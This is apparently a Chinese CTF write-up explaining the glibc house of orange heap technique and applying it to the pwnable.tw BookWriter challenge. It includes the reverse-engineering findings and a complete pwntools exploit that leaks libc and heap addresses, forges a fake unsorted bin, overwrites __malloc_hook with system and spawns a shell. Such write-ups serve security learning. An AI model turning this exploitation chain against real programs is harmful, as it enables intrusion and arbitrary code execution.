house of orange
什么时候用?
当程序不提供free功能的时候我们选择采用house of orange攻击手法
作用:经过攻击后得到一个unsorted bin
仔细回想一下自己所学,在stack中,大部分攻击手法都类似于栈溢出,目的是为了控制ret的返回地址
在heap中的攻击手法多样,不仅有溢出还有很多攻击手法,但是大多数目的只有一个:控制指针。而free态的堆块天然的给我们提供了一些指针,fastbin的fd,unsorted bin的fd和bk等等等等。通过控制指针,我们可以泄漏内存,可以改写内存,相当于控制了程序的执行流。
我们来看一下这个过程的详细情况,我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。
这样我们就得到了一个unsorted bin
不过,我们得满足一些要求:
1,伪造的 size 必须要对齐到内存页
2,size 要大于 MINSIZE(0x10)
3,size 要小于之后申请的 chunk size + MINSIZE(0x10)
4,size 的 prev inuse 位必须为 1
BookWriter
逆向分析
main函数
read_author函数
add函数,请记住这个count在这里>8
show函数,到了这里,变成数量>7了
edit函数,很诡异的发现有个strlen,存在无00截断漏洞,并且堆块数量>7
edit author函数,同样,框起来的地方也存在无00截断漏洞
bss段上,发现author,heaparray,sizearray是连在一起的
思路
总结一下发现的漏洞点:
1,strlen和printf("%s")的无00截断的漏洞
2,add函数和show,edit函数中的关于堆块数量的逻辑漏洞
这两个漏洞可以做到什么呢?
首先:第一个strlen,如果我们申请0x18的堆块,并且填满所有内容,那么下面的内存布局不是\x00,而是下一个堆块的size,由于不为空,下面的这一条语句,使得我们的size_array的某一个元素扩大,可以实现少量字节的堆溢出
size_array[v1] = strlen(heap_array[v1]);
第二:printf("%s")无00截断,由于author就在heaparray的上方,我们同样的填满author中的内容,可以泄漏出第一个堆块即heaparray[0]的地址
第三:由于add函数中存在count可以多申请一个,即在add函数里面我们可以申请0-8共九个堆块,但是heaparray的大小是8,所以我们的第九个堆块的地址会被记录在sizearray里面,造成了一个威力极大的堆溢出
总思路:利用house of orange得到一个unsorted bin,由于edit author的存在使bss段可写,我们便可以在bss段上伪造一个size能够覆盖heaparray的unsorted bin,然后申请过来,便可以控制heaparray,然后打__malloc_hook
利用漏洞一,我们可以改写topchunk的size,然后申请一个比topchunk大的堆块,实现house of orange,得到一个unsorted bin,然后申请一个小chunk,由于是从unsorted bin里面切下来的,我们就可以show这个小chunk来泄漏libc基址
利用漏洞三,我们申请九次chunk,可以获得一个超大溢出的能力,溢出到unsorted bin(原先的top chunk),然后改写fd和bk,使得真unsorted bin位于队列的前一个位置
利用编辑作者和漏洞二的功能,在bss段伪造一个unsorted bin,同时设置好fd和bk。借助漏洞二可以泄漏heap[0]的基地址,可以辅助来设置fd和bk(当然,设置成main_arena+88也可以,只要设置heap段的那个unsorted bin里面的bk为伪造的unsorted bin即可)
再次利用漏洞一,为了能够再次申请chunk,我们利用编辑功能,编辑0号chunk,的第一个内容为\x00,这样可以欺骗strlen,将sizearray[0]即heaparray[8]设置为0,我们获得无限申请堆块的能力
申请合适大小的堆块,使得fake unsorted bin脱链,使我们获得在bss段上写入的能力。
写入payload,控制heaparray,攻击__malloc_hook为system地址

exp
from pwn import *
local = 1
if local == 1:
p = process('./bookwriter')
else:
p = remote('chall.pwnable.tw',10304)
elf = ELF('./bookwriter')
libc = ELF('./libc-2.23.so')
def dbg():
context.log_level = 'debug'
def author(name):
p.sendafter('Author :',name)
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of page :',str(size))
p.sendafter('Content :',content)
def show(index):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index of page :',str(index))
def edit(index,content):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index of page :',str(index))
#p.sendafter('Content :',content)
p.recvuntil('Content:')
p.send(content)
def edit_author(main_arena_88):
p.sendlineafter('Your choice :','4')
p.recvuntil('Author :')
p.recvuntil(b'A' * 64)
leak_heap = u64(p.recvuntil('\x0a',drop = True)[-4:].ljust(8,b'\x00'))
p.sendlineafter('Do you want to change the author ? (yes:1 / no:0)','1')
payload = b'/bin/sh\x00'+p64(0x111)+p64(leak_heap+0x130)+p64(main_arena_88)+p64(0)*4
p.sendafter('Author :',payload)
return leak_heap
print("============ bss ============ ")
print("[*] the 'author' is in 0x602060 ")
print("[*] heaparray[] is in 0x6020A0")
print("[*] sizearray[] is in 0x6020E0")
print("============ bss ============ ")
author(b'A' * 64)
add(0x18,b'A' * 0x18) #0
print("now we still don't use the fun 'edit',so we dont't use strlen")
print("the next,we use strlen")
#dbg()
print("========= step 1: make top chunk into unsorted bin ============ ")
edit(0,b'A' * 0x18)
print("Now, we successfully have haven 3 bytes to overflow")
#dbg()
payload = b'\x00' * 0x18 + b'\xe1\x0f\x00'
edit(0,payload)
context.log_level = 'info'
add(0x1fe1,'A') #1
print("======== step 2: leak libc address and the heap address =========== ")
add(0x10,'A') #2
show(2)
#main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 1569
#print('main_arena leak ---> ' + hex(main_arena))
#p.recv()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x39c141 #- 88 - 0x10 - libc.sym['__malloc_hook']
print('[*] libc_base ----> ',hex(libc_base))
for i in range(6):
add(0x10,'A')
main_arena_88 = libc_base + 0x39bb78
print("forge unsorted bin in author(bss) to control the heaparray ")
heap_addr = edit_author(main_arena_88)
print('[*] the heaparray[0] ------> ',hex(heap_addr))
print("=========== step 3: control the heaparray ============ ")
print("to emptify the heaparray[8] (sizearray[0]) ,so we can continue to malloc ")
edit(0,p64(0))
#dbg()
add(0x30,'AAAAAAAA')
author_fake_unsorted_bin = 0x602060
payload = 0x130 * b'\x00' + p64(0) + p64(0x21) + p64(main_arena_88) + p64(author_fake_unsorted_bin)
edit(0,payload)
__malloc_hook = main_arena_88 - 88 -0x10
system_addr = libc_base + 0x3f550
add(0x100,48*b'a' + p64(__malloc_hook - 8))
edit(0,p64(0) + p64(system_addr))
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(author_fake_unsorted_bin))
p.interactive()
收获几个点:
1,一个chunk放入unsorted bin链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin遍历堆块的时候使用的是bk指针。
2,malloc过程复习
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *p,*q;
p = malloc(0x1000);
malloc(0x10);
q = malloc(0x800);
malloc(0x20);
free(p);
free(q);
malloc(0x500);
malloc(0x500);
}
过程分析:执行完free后p和q都在unsorted bin里,p是头部,q是尾部。
malloc(0x500)时,unsorted bin从q开始遍历,将q和p放到large bins里,然后从large bins里切割q,将剩下的部分再次链入unsorted bin。此时p在large bins,q在unsorted bin。
再次malloc(0x500)时,unsorted bin开始遍历,q不满足要求,被放入small bins,p满足,切割后被放入unsorted bin里,所以最终结果是p在unsorted bin,q在small bins里。
3,关于题目的一些tips,不泄漏堆地址也可以,我们只需要将real unsorted bin的bk改为fake unsorted bin的地址就可以了。
关于__malloc_hook,其实一开始不太理解为什么__malloc_hook可以改为system拿shell,翻了一下源码发现__malloc_hook其实是有参数的,第一个参数是size,第二个参数是指针。但是并没有审到什么时候调用这两个参数,在exp中,我们最后利用__malloc_hook(address),__malloc_hook的地址被改成了system,address指向的内容是/bin/sh,具体malloc的时候,address是作为size传进去的。个人猜测这个方法不常见的原因大概是大多数的题目对malloc的size是有界限的,不允许malloc大size(address一般都是非常大的值)
参考链接:
深入理解unsorted bin attack:https://xz.aliyun.com/t/7251
glibc源码:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3034
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange-zh/